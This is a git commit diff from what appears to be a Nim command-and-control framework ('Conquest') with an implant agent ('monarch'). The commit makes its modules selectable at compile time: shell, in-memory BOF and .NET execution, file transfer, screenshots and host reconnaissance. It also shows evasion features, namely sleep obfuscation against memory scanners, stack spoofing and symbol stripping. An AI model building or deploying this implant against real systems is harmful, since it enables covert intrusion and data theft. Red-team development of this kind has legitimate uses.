Reworked module system. Modules can now be individually set to be included in the agent. For example, it is possible to compile an agent only capable of executing BOFs and nothing else.

This commit is contained in:
Jakob Friedl
2025-09-17 15:55:13 +02:00
parent 5f1a9979be
commit 5d09efd823
15 changed files with 291 additions and 226 deletions

View File

@@ -1,8 +1,7 @@
import strformat, os, times, system, base64
import core/[http, context, sleepmask, coff]
import core/[http, context, sleepmask]
import protocol/[task, result, heartbeat, registration]
import ../modules/manager
import ../common/[types, utils, crypto]
proc main() =
@@ -12,9 +11,6 @@ proc main() =
if ctx == nil:
quit(0)
# Load agent commands
loadModules()
# Create registration payload
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
let registrationBytes = ctx.serializeRegistrationData(registration)
@@ -32,7 +28,6 @@ proc main() =
4. If additional tasks have been fetched, go to 2.
5. If no more tasks need to be executed, go to 1.
]#
while true:
# Sleep obfuscation to evade memory scanners
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)

View File

@@ -4,4 +4,5 @@
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES=1
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -50,6 +50,17 @@ type
CMD_SCREENSHOT = 15'u16
CMD_DOTNET = 16'u16
ModuleType* = enum
MODULE_ALL = 1'u32
MODULE_SLEEP = 2'u32
MODULE_SHELL = 4'u32
MODULE_BOF = 8'u32
MODULE_DOTNET = 16'u32
MODULE_FILESYSTEM = 32'u32
MODULE_FILETRANSFER = 64'u32
MODULE_SCREENSHOT = 128'u32
MODULE_SITUATIONAL_AWARENESS = 256'u32
StatusType* = enum
STATUS_COMPLETED = 0'u8
STATUS_FAILED = 1'u8
@@ -143,7 +154,6 @@ type
# Registration binary structure
type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object
listenerId*: Uuid
@@ -238,6 +248,11 @@ type
dispatchMessage*: string
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
Module* = object
name*: string
description*: string
commands*: seq[Command]
# Definitions for ImGui User interface
type
ConsoleItem* = ref object

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype
proc executeBof(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
# Module definition
let module* = Module(
name: protect("bof"),
description: protect("Load and execute BOF/COFF files in memory."),
commands: @[
Command(
name: protect("bof"),
commandType: CMD_BOF,
@@ -17,6 +20,7 @@ let commands*: seq[Command] = @[
execute: executeBof
)
]
)
# Implement execution functions
when defined(server):

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
# Module definition
let module* = Module(
name: protect("dotnet"),
description: protect("Load and execute .NET assemblies in memory."),
commands: @[
Command(
name: protect("dotnet"),
commandType: CMD_DOTNET,
@@ -17,6 +20,7 @@ let commands*: seq[Command] = @[
execute: executeAssembly
)
]
)
# Implement execution functions
when defined(server):

View File

@@ -9,8 +9,11 @@ proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands* = @[
# Module definition
let module* = Module(
name: protect("filesystem"),
description: protect("Conduct simple filesystem operations via Windows API."),
commands: @[
Command(
name: protect("pwd"),
commandType: CMD_PWD,
@@ -82,6 +85,7 @@ let commands* = @[
execute: executeCopy
)
]
)
# Implementation of the execution functions
when defined(server):

View File

@@ -4,9 +4,11 @@ import ../common/[types, utils]
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
# Module definition
let module* = Module(
name: protect("filetransfer"),
description: protect("Upload/download files to/from the target system."),
commands: @[
Command(
name: protect("download"),
commandType: CMD_DOWNLOAD,
@@ -28,6 +30,7 @@ let commands*: seq[Command] = @[
execute: executeUpload
)
]
)
# Implement execution functions
when defined(server):

View File

@@ -1,16 +1,7 @@
import tables, strformat
import ../common/types
# Import modules
import
shell,
sleep,
filesystem,
filetransfer,
environment,
bof,
dotnet,
screenshot
const MODULES {.intdefine.} = 1
type
ModuleManager* = object
@@ -19,21 +10,56 @@ type
var manager: ModuleManager
proc registerCommands(commands: seq[Command]) {.discardable.} =
for cmd in commands:
proc registerModule(module: Module) {.discardable.} =
for cmd in module.commands:
manager.commandsByType[cmd.commandType] = cmd
manager.commandsByName[cmd.name] = cmd
proc loadModules*() =
# Register all imported commands
registerCommands(shell.commands)
registerCommands(sleep.commands)
registerCommands(filesystem.commands)
registerCommands(filetransfer.commands)
registerCommands(environment.commands)
registerCommands(bof.commands)
registerCommands(dotnet.commands)
registerCommands(screenshot.commands)
# Import all modules
when ((MODULES and cast[uint32](MODULE_ALL)) == cast[uint32](MODULE_ALL)):
import
sleep,
shell,
filesystem,
filetransfer,
bof,
dotnet,
screenshot,
situationalAwareness
registerModule(sleep.module)
registerModule(shell.module)
registerModule(bof.module)
registerModule(dotnet.module)
registerModule(filesystem.module)
registerModule(filetransfer.module)
registerModule(screenshot.module)
registerModule(situationalAwareness.module)
# Import modules individually
when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)):
import sleep
registerModule(sleep.module)
when ((MODULES and cast[uint32](MODULE_SHELL)) == cast[uint32](MODULE_SHELL)):
import shell
registerModule(shell.module)
when ((MODULES and cast[uint32](MODULE_BOF)) == cast[uint32](MODULE_BOF)):
import bof
registerModule(bof.module)
when ((MODULES and cast[uint32](MODULE_DOTNET)) == cast[uint32](MODULE_DOTNET)):
import dotnet
registerModule(dotnet.module)
when ((MODULES and cast[uint32](MODULE_FILESYSTEM)) == cast[uint32](MODULE_FILESYSTEM)):
import filesystem
registerModule(filesystem.module)
when ((MODULES and cast[uint32](MODULE_FILETRANSFER)) == cast[uint32](MODULE_FILETRANSFER)):
import filetransfer
registerModule(filetransfer.module)
when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREENSHOT)):
import screenshot
registerModule(screenshot.module)
when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)):
import situationalAwareness
registerModule(situationalAwareness.module)
proc getCommandByType*(cmdType: CommandType): Command =
return manager.commandsByType[cmdType]

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
# Module definition
let module* = Module(
name: protect("screenshot"),
description: protect("Take and retrieve a screenshot of the target desktop."),
commands: @[
Command(
name: protect("screenshot"),
commandType: CMD_SCREENSHOT,
@@ -14,6 +17,7 @@ let commands*: seq[Command] = @[
execute: executeScreenshot
)
]
)
# Implement execution functions
when defined(server):

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands*: seq[Command] = @[
# Module definition
let module* = Module(
name: protect("shell"),
description: protect("Execute shell commands or programs."),
commands: @[
Command(
name: protect("shell"),
commandType: CMD_SHELL,
@@ -17,6 +20,7 @@ let commands*: seq[Command] = @[
execute: executeShell
)
]
)
# Implement execution functions
when defined(server):

View File

@@ -5,8 +5,11 @@ proc executePs(ctx: AgentCtx, task: Task): TaskResult
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
# Command definitions
let commands*: seq[Command] = @[
# Module definition
let module* = Module(
name: protect("situational-awareness"),
description: protect("Retrieve information about the target system and environment."),
commands: @[
Command(
name: protect("ps"),
commandType: CMD_PS,
@@ -32,6 +35,7 @@ let commands*: seq[Command] = @[
execute: executeWhoami
)
]
)
# Implement execution functions
when defined(server):

View File

@@ -3,8 +3,11 @@ import ../common/[types, utils]
# Define function prototype
proc executeSleep(ctx: AgentCtx, task: Task): TaskResult
# Command definition (as seq[Command])
let commands* = @[
# Module definition
let module* = Module(
name: protect("sleep"),
description: protect("Change sleep settings."),
commands: @[
Command(
name: protect("sleep"),
commandType: CMD_SLEEP,
@@ -16,6 +19,7 @@ let commands* = @[
execute: executeSleep
)
]
)
# Implement execution functions
when defined(server):

View File

@@ -75,6 +75,7 @@ proc compile(cq: Conquest, placeholderLength: int): string =
var config = readFile(configFile)
.replaceAfterPrefix("-d:CONFIGURATION=", placeholder)
.replaceAfterPrefix("-o:", exeFile)
# .replaceAfterPrefix("-d:MODULES=", modules)
writeFile(configFile, config)
cq.info(fmt"Placeholder created ({placeholder.len()} bytes).")

View File

@@ -19,14 +19,12 @@ var parser = newParser:
command("list"):
help("List all active listeners.")
command("start"):
help("Starts a new HTTP listener.")
option("-i", "--ip", default=some("127.0.0.1"), help="IPv4 address to listen on.", required=false)
option("-p", "--port", help="Port to listen on.", required=true)
# TODO: Future features:
# flag("--dns", help="Use the DNS protocol for C2 communication.")
# flag("--doh", help="Use DNS over HTTPS for C2 communication.)
command("stop"):
help("Stop an active listener.")
option("-n", "--name", help="Name of the listener.", required=true)
@@ -57,7 +55,7 @@ var parser = newParser:
option("-s", "--sleep", help="Sleep delay in seconds.")
option("--sleepmask", help="Sleep obfuscation technique.", default=some("none"), choices = @["ekko", "zilean", "foliage", "none"])
flag("--spoof-stack", help="Use stack duplication to spoof the call stack. Supported by EKKO and ZILEAN techniques.")
# option("-p", "--payload", help="Agent type.\n\t\t\t ", default=some("monarch"), choices = @["monarch"],)
command("help"):
nohelpflag()

View File

@@ -1,7 +1,5 @@
import core/server
import ../modules/manager
# Conquest framework entry point
when isMainModule:
loadModules()
import cligen; dispatch startServer